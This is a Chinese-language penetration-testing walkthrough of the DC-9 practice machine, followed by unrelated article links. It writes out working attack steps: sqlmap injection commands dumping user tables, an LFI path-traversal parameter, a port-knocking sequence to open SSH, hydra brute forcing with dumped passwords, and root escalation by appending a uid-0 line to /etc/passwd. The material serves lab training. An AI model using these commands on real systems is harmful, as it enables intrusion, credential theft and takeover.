端口敲击守护程序之DC-9

news2025/1/13 13:52:05

OSCP系列靶场-Intermediate-DC-9

目录

  • OSCP系列靶场-Intermediate-DC-9
    • 总结
    • 准备工作
    • 信息收集-端口扫描
      • 目标开放端口收集
      • 目标端口对应服务探测
    • 信息收集-端口测试
      • 80-HTTP端口的信息收集
        • 信息收集-网站指纹
        • 漏洞利用-网站指纹(无)
        • 信息收集-HTML隐藏信息查看
        • 信息收集-目录扫描
          • 信息收集-目录扫描初步
        • 信息收集-目录访问
          • 端点访问
      • 功能点的实践
        • 漏洞探测-nikto扫描
        • 登录端点浅浅实践
    • 漏洞利用-getwebshell
      • 后台登录
        • 搜索功能点实践-SQL注入
          • POST型
        • hashcat爆破密码(失败)
        • 登录后台
      • LFI利用
        • 暴力破解-参数名破解FUZZ1(失败)
        • 暴力破解-参数名破解FUZZ2
      • 文件包含利用
        • 日志访问(失败)
        • 查看端口守护程序
      • 端口过滤之敲击守护程序
      • 暴力破解-SSH爆破hydra
    • 内网遨游-getshell
      • 3开SSH
      • FLAG1获取
      • 权限提升
        • Linux提权-sudo提权
      • /etc/passwd覆盖提权
      • FLAG2获取
    • 总结
      • 端口敲击守护程序

总结

getwebshell : 发现SQL注入 → 登录系统 → 疑似文件包含FUZZ参数 → 文件包含读取守护程序 → 敲击打开SSH端口 → 利用泄露账号密码登录

提 权 思 路 : 发现3个用户 → 登录获取密码字典 → 再次爆破获取第4个用户 → sudo文件发现 → 存在root权限写入功能 → passwd覆盖提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.192

  • 启动靶机
    获取目标机器IP → 192.168.178.209

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.178.209

PORT   STATE    SERVICE
22/tcp filtered ssh
80/tcp open     http


开放的端口->80
过滤的端口->22

当端口被列为“被过滤”时,意味着该端口被防火墙或网络设备阻止或过滤。这可能是有意的,例如用作防止未经授权访问的安全措施,也可能是由于网络配置错误或连接问题而无意的。

在这种情况下,端口22被过滤,因此可能无法使用该端口建立到目标设备的SSH连接。

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.178.209

PORT   STATE  SERVICE VERSION
22/tcp closed ssh
80/tcp open   http    Apache httpd 2.4.38 ((Debian))


现在22端口是关闭的

信息收集-端口测试

80-HTTP端口的信息收集

访问 http://192.168.178.209:80 看上去像CMS
随便戳了戳发现是php

信息收集-网站指纹

┌──(root㉿Kali)-[/home/bachang/DC-9]
└─# whatweb http://192.168.178.209
http://192.168.178.209 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.178.209], Title[Example.com - Staff Details - Welcome]

漏洞利用-网站指纹(无)

searchsploit Staff Details
searchsploit Example.com

信息收集-HTML隐藏信息查看

# 利用html2text转换纯文本方便查看
curl http://192.168.178.209 | html2text

让我们点击其他菜单,可能是提示

信息收集-目录扫描

信息收集-目录扫描初步
dirsearch -u http://192.168.178.209 -x 302,403,404


因为扫出了目录,深层次的扫描待选,后期可能会选择.php的后缀扫描

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

端点访问

空白


.php可能可以fuzz


没东西


里面的按钮按了没反应,也没看到什么源码


登录端点

然后还有一个我可以点击的search

功能点的实践

之前信息收集的内容还可以深入,不过都待定

漏洞探测-nikto扫描

首先挂上一个扫描器

nikto -h http://192.168.178.209

回过头来看发现没什么

登录端点浅浅实践

在登录端点来一手弱口令,以及万能密码发现都没用


然后因为不知道账号是啥,尝试挂着跑admin账户的弱口令

漏洞利用-getwebshell

后台登录

搜索功能点实践-SQL注入

接下来尝试来到搜索功能点,尝试输入一个'破坏完整性
因为搜索功能点大致会并入查询语句


尝试输入了一个'之后发现没什么


因为sql语句的不同,体现方法也是不一样滴
先试试正常的语句


但是Julie'就什么都没显示,推测要注释掉后面的内容
Julie' -- qwe 显示了内容


极大可能是存在sql注入的,使用sqlmap

POST型

在传参的地方打上*

# 基础探测
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*"
# 发现存在之后直接爆数据库
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dbs
# 爆出数据库之后爆表(首页的关键词Staff,先看这个)
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff --tables
# 爆字段名
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users --columns
# 爆字段中数据
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users -C Username,Password --dump

基础探测存在


存在三个数据库,首页的关键词Staff,先看这个,选择第二个


优先看Users的表


存在账号以及密码的字段


得到了帐号以及密码的信息


admin | 856f5de590ef37314e7c3bdf6f8a66dc
可以发现密码是md5加密的格式,因为有32

之后我们看看另一个表,表名也挺诱惑人的

# 爆出数据库之后爆表
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users --tables
# 爆字段名
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users -T UserDetails --columns
# 爆整个表
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dump -D users -T UserDetails

只有一个表UserDetails


太多了,直接一起爆吧


爆了很多密码捏

hashcat爆破密码(失败)

# 将密码输出到文件
echo '856f5de590ef37314e7c3bdf6f8a66dc' > hash
hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt

发现没爆破出来,尝试在线解密


https://www.somd5.com/


挺难受的,爆破不出来,解密出来的密码transorbital1

登录后台

利用获得的账号以及密码登录之后发现多了一个功能点

LFI利用

登录之后发现一个奇怪的地方,登陆前底下是没有的

File does not exist    >>   文件不存在

推测该功能点的php可以尝试fuzz参数

暴力破解-参数名破解FUZZ1(失败)

# -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小
ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -fs 0 > fuzz.txt

没有爆破处内容捏


curl了一下也没有内容,我想起来是要带cookie才行


修改一下fuff PHPSESSID "h86ph7lej727porurqhsh072vs"
带上cookie之后curl就有值了

暴力破解-参数名破解FUZZ2

# -b 带cookie
ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -b "PHPSESSID=h86ph7lej727porurqhsh072vs" -fs 0 > fuzz.txt

从文件夹里面找到一个不一样的size 这样太不优雅了

┌──(root㉿Kali)-[/home/bachang/DC-9]
└─# cat fuzz.txt | grep -v 1757 | grep Size -A 2 -B 2
    * FUZZ: framework

[Status: 200, Size: 4110, Words: 95, Lines: 108, Duration: 235ms]
| URL | http://192.168.178.209/addrecord.php?file=../../../../../../etc/passwd
    * FUZZ: file

利用grep去掉1757并且筛选最后存在的上下各两行找到了file


得到一个file的参数,在/home下发现了非常多的目录


联想到刚才的数据库账号密码,应该都能登22端口,但是22端口是过滤状态

文件包含利用

日志访问(失败)

一般利用方式是包含log的内容写shell
尝试翻阅一下是否有log日志

/var/log/auth.log  # ssh登录日志
/var/log/apache2/access.log # apache访问日志

查看了一下,好像都没有捏


想读.ssh来着,但是ssh没开放

查看端口守护程序

因为存在过滤端口,从这个角度切入


因此存在过滤端口的时候可以尝试访问一下这个文件是否存在

../../../../../etc/knockd.conf

[options] UseSyslog 
[openSSH] sequence = 7469,8475,9842 
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT 
tcpflags = syn 

[closeSSH] sequence = 9842,8475,7469 
seq_timeout = 25 
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT 
tcpflags = syn 

端口过滤之敲击守护程序

如果我们按照要求依次访问7469,8475,9842三个端口在25秒内,那么利用端口敲击守护程序ssh端口就会打开

利用工具knock

sudo apt install knockd
knock 192.168.178.209 7469 8475 9842

之后访问发现ssh端口开放了

暴力破解-SSH爆破hydra

根据数据库爆出来的内容制作user.txt以及passwd.txt字典

echo 'marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2' > user.txt
echo '3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0' > passwd.txt
# -L 指定账号字典 -P指定密码字典
hydra -L user.txt -P passwd.txt 192.168.178.209 ssh -s 22 -t 64 - o main

查看了对应的main文件看到了3个可用

[22][ssh] host: 192.168.178.209   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.178.209   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.178.209   login: janitor   password: Ilovepeepee

内网遨游-getshell

3开SSH

获取账号密码之后利用SSH进行登录(3个小时到了,换了个目标机)

sudo ssh chandlerb<span>@192.168.208.209</span> -p22
password &gt; UrAG0D!
sudo ssh joeyt<span>@192.168.208.209</span> -p22
password &gt; Passw0rd
sudo ssh janitor<span>@192.168.208.209</span> -p22
password &gt; Ilovepeepee


但是发现输入find都没什么用,尝试查找内部的敏感信息
janitor用户下发现了不一样的东西


发现是个文件,进入


探索之后发现了新的密码文件,再写一个文件利用hyrda爆破

echo 'BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts' &gt; passwd2.txt
# -L 指定账号字典 -P指定密码字典
hydra -L user.txt -P passwd2.txt 192.168.208.209 ssh -s 22 -t 64 -o main

通过爆破得到了新的用户密码

[22][ssh] host: 192.168.178.209   login: fredf   password: B4-Tru3-001

进行ssh连接

sudo ssh fredf<span>@192.168.208.209</span> -p22
password &gt; B4-Tru3-001

FLAG1获取

输入find命令之后发现只有fredf是可以的

fredf<span>@dc-9</span>:~$ find / -name local.txt 2&gt;/dev/null
/home/fredf/local.txt
fredf<span>@dc-9</span>:~$ cat /home/fredf/local.txt
4c30c90388a4b5baa8bf21db8529bb51

权限提升

Linux提权-sudo提权

查找具有sudo权限,且不需要密码的可提权文件

# 利用sudo -l寻找
fredf<span>@dc-9</span>:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test

只有fredf用户是存在sudo

追踪一下这个文件

# 权限查看 (读与执行)
fredf<span>@dc-9</span>:~$ ls -al /opt/devstuff/dist/test/test
-rwxr-xr-x 1 root root 1212968 Dec 29  2019 /opt/devstuff/dist/test/test
# 查看内容发现看不了
fredf<span>@dc-9</span>:~$ cat /opt/devstuff/dist/test/test


尝试运行

fredf<span>@dc-9</span>:$ cd /opt/devstuff/dist/test
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ ./test
Usage: python test.py read append

fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test
Usage: python test.py read append

读不了,显示是读test.py ,说明使用test应该是需要参数的

# 全局搜索
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ find / -name "test.py" 2&gt;/dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py

发现了两个,应该是上面那个

cat /opt/devstuff/test.py

如果传递的参数不等于3,就会输出Usage: python test.py read append

不然会读取输入第一个参数内的文件追加写入到第二个参数

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

/etc/passwd覆盖提权

既然是这样的话,那我可以自己写一个root权限的用户进行追加覆盖

覆盖掉root的密码

# Kali机器使用openssl生成密码  -l指定生成密码
┌──(root㉿Kali)-[/home/bachang/DC-9]
└─# sudo openssl passwd          
Password: YaoRuo
Verifying - Password: YaoRuo
$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.

目标机器上覆盖

# 制作root权限用户 root:x:0:0:root:/root:/bin/bash
YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash
# 写入到可写文件夹中
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ echo 'YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash' &gt; /tmp/passwd.txt
# 进行覆盖
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test /tmp/passwd.txt /etc/passwd
# 权限提升
fredf<span>@dc-9</span>:/opt/devstuff/dist/test$ su YaoRuo
Password: RaoYuo
root<span>@dc-9</span>:/opt/devstuff/dist/test# id
uid=0(root) gid=0(root) groups=0(root)

提权成功

FLAG2获取

root<span>@dc-9</span>:/opt/devstuff/dist/test# cat /root/proof.txt
e67eaee361edc9e35fc8cfe0b1ea7bd7

完结撒花~

总结

filtered过滤端口也是值得探索的内容
可能存在端口敲击守护程序/etc/knockd.conf

传参进行fuzz的时候还是要多试,顺便一提的是登录要记得带上cookie

端口敲击守护程序

这个内容本质上就是防止被端口扫描。从资料上看在电网这种工业级上考虑的较多。

	端口扫描也是威胁 Web 安全的一种方式,服务器主机关闭不必要的端口对这一攻击有一定的作用,但是对于必须开启的端口还是存在着安全隐患,为了预防这一类网络攻击,系统采用一种“服务敲门”的方式来开启或关闭端口。
	“服务敲门”也就是端口试探,它的原理类似一次约定好的秘密握手,一定时间间隔发送一定序列的UDP 或 TCP 数据包,运行在主机上的抓包程序捕捉到之后,开启对应端口或关闭对应端口。以 22 端口为

除了使用直接利用本地安装的knockd工具之外也可以用其他方法进行端口敲击,就是有时间限制。

例如 nmap -p[端口] [ip] nc [ip] [端口]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1016804.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言 —— 初步入门知识(内存、指针、结构体)

本篇文章将接着上篇继续介绍C语言的基础知识&#xff0c;那么对于C语言大部分初学者会觉得难以理解&#xff0c; 所以作者将指针单独拿出来写篇较短的文章进行讲解。 1.指针 1.1 内存 要学习指针&#xff0c;就先要了解内存。一起来看。 内存是计算机中的关键组成部分&#xff…

机器学习技术(九)——支持向量机算法实操(基于SVM的模型对潜在运营商客户进行分类)

机器学习技术&#xff08;九&#xff09;——支持向量机算法实操 文章目录 机器学习技术&#xff08;九&#xff09;——支持向量机算法实操一、引言二、数据集介绍三、导入相关依赖库四、读取数据五、数据可视化分析1、是否为潜在客户与不同用户主叫时长对比2、是否为潜在合约…

绘图(一)弹球小游戏

AWT编程 语雀 仓库&#xff1a;Java图形化界面: Java图形化界面学习demo与资料 (gitee.com) 很多程序如各种小游戏都需要在窗口中绘制各种图形&#xff0c;除此之外&#xff0c;即使在开发JavaEE项目时&#xff0c; 有 时候也必须"动态"地向客户 端生成各种图形、…

C语言进阶指针(3) ——qsort的实现

大家好&#xff0c;我们今天来学习回调函数qsort的实现。 首先让我们打开cplusplus.com找到qsort函数。 我们看到这个函数就可以看到它的头文件和参数信息。 #include<stdlib.h> void qsort (void* base, size_t num, size_t size, int (*compar)(const void*,const voi…

前后端跨域请求问题解决方法

如图&#xff1a; 1.在config配置包中创建一个CorsConfig配置类 2.将下面代码复制到这个类中即可 import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.web.cors.CorsConfigurati…

[字符串和内存函数]strcmp和strncmp以及memcmp的区别

CPlus中对strcmp的介绍 #include <stdio.h> #include <string.h>int main () {char key[] "apple";char buffer[80];do {printf ("Guess my favorite fruit? ");fflush (stdout);scanf ("%79s",buffer);} while (strcmp (key,buf…

MySQL 约束与复杂查询

当涉及到数据库管理系统&#xff08;DBMS&#xff09;的高级主题时&#xff0c;包括数据库的约束、表的设计以及各种类型的查询&#xff0c;特别是聚合查询、联合查询和合并查询&#xff0c;是非常重要的。这些主题可以帮助我们更好地理解数据库的内部工作机制以及如何有效地操…

[maven] 创建 spring boot 项目及使用 Jenkins 运行 maven

[maven] 创建 spring boot 项目及使用 Jenkins 运行 maven 本篇笔记走一下用 maven 创建 spring boot 项目和利用 Jenkins 管理 maven 流程 使用 maven 创建 spring boot 项目 根据官方文档说&#xff0c;现在使用 boot 需要 java 17&#xff0c;Gradle 7.5/Maven 3.5 spri…

idea无法通过vpn 连接到数据库或者kafka

本地navicate 等sql客户端 &#xff0c;通过vpn&#xff0c;可以连接到数据库&#xff0c;&#xff0c;xshell也可以通过vpn连接到远程机器&#xff0c;但是&#xff0c;idea开发时&#xff0c;报连接超时错误&#xff0c;解决方法&#xff1a; 项目中 VM这一栏加上-Djava.net…

区块链:去中心化革命下的创新与发展!

区块链作为一项重要的技术实验&#xff0c;确实具有重大的影响力。它代表了一场去中心化的运动&#xff0c;吸引了许多研究人员、工程师、建设者和用户的参与&#xff0c;创造了我们目前所见到的一些最有趣的技术。 区块链的透明特性赋予了用户对于数据和交易的控制权&#xff…

来看看Python __all__变量的用法

​ 事实上&#xff0c;当我们向文件导入某个模块时&#xff0c;导入的是该模块中那些名称不以下划线&#xff08;单下划线“_”或者双下划线“__”&#xff09;开头的变量、函数和类。因此&#xff0c;如果我们不想模块文件中的某个成员被引入到其它文件中使用&#xff0c;可以…

展示日志log4.properties

log4.properties 1.log4.properties 此时文件主要用于展示日志的输出的级别的信息。 # Set root category priority to INFO and its only appender to CONSOLE. #log4j.rootCategoryINFO, CONSOLE debug info warn error fatal log4j.rootCategoryinfo, CONSO…

本地事务与分布式事务

目录 一、本地事务 1、事务的基本性质 2、事务的隔离级别 3、事务的传播行为 4、SpringBoot 事务关键点 二、分布式事务 1、为什么有分布式事务 2、CAP 定理与 BASE 理论 3、分布式事务几种方案 一、本地事务 1、事务的基本性质 数据库事务的几个特性&#xff1a;原…

PhpStorm 2023年下载、安装教程和好用插件,保姆级教程

PhpStorm 2023年下载、安装教程和好用插件&#xff0c;保姆级教程 文章目录 PhpStorm 2023年下载、安装教程和好用插件&#xff0c;保姆级教程前言一、安装PhpStorm二、好用的插件简体中文包Chinese(Simplified)Language Pack 三、卸载插件CTRLN 查找类CTRLSHIFTN 全局搜索文件…

Scala编程语言

Scala编程语言 一、Scala引入1、学习Scala的目的2、Scala的基本概念 二、Scala环境搭建1、安装步骤2、配置环境变量3、测试Scala4、Scala与idea的集成5、关联源码6、 class 和 object 说明 三、常用语法、变量和数据类型1、 注释2、变量和常量3 、标识符的命名规范4、字符串输出…

一阶低通滤波器滞后补偿算法

一阶低通滤波器的推导过程和双线性变换算法请查看下面文章链接: PLC算法系列之数字低通滤波器(离散化方法:双线性变换)_双线性离散化_RXXW_Dor的博客-CSDN博客PLC信号处理系列之一阶低通(RC)滤波器算法_RXXW_Dor的博客-CSDN博客_rc滤波电路的优缺点1、先看看RC滤波的优缺点…

matlab EL image绘制

利用光谱仪测试的结果可以得到image&#xff0c;输出为csv文件&#xff0c;包括640X512的矩阵&#xff0c;这个矩阵将会反映器件发光的位置和强度&#xff0c;算是一个灰度图。 在matlab中&#xff0c;可以用imagesc函数来进行绘图。 imagesc函数的用法 clear; clc; close a…

Linux从root账号切换到普通账号并执行shell脚本

背景&#xff1a;最近自己在用的中间件只能运行在 普通账号下&#xff0c;现在每次重启之后都要切换到 普通账号 然后去执行启动脚本。一次两次还能接受……反正现在接受不了了…… 写一个脚本让它帮我起吧 先贴目录 新建文件 start_es.sh, 用于root账号下调用 #!/bin/bash e…

计算机组成原理——基础入门总结(一)

本帖更新一些关于计算机组成原理的重点内容。由于博主考研时并不会考这门课&#xff0c;但是考虑到操作系统中又很多重要晦涩的概念涉及很多诸如内存、存储器、磁盘、cpu乃至各种寄存器的知识&#xff0c;此处挑选一些核心的内容总结复盘一遍——实现声明&#xff1a;本帖的内容…

【CCF】第30次csp认证——202305-1重复局面

202305-1重复局面&#xff1a; 问题描述 国际象棋每一个局面可以用大小为 88 的字符数组来表示&#xff0c;其中每一位对应棋盘上的一个格子。六种棋子王、后、车、象、马、兵分别用字母 k、q、r、b、n、p 表示&#xff0c;其中大写字母对应白方、小写字母对应黑方。棋盘上无…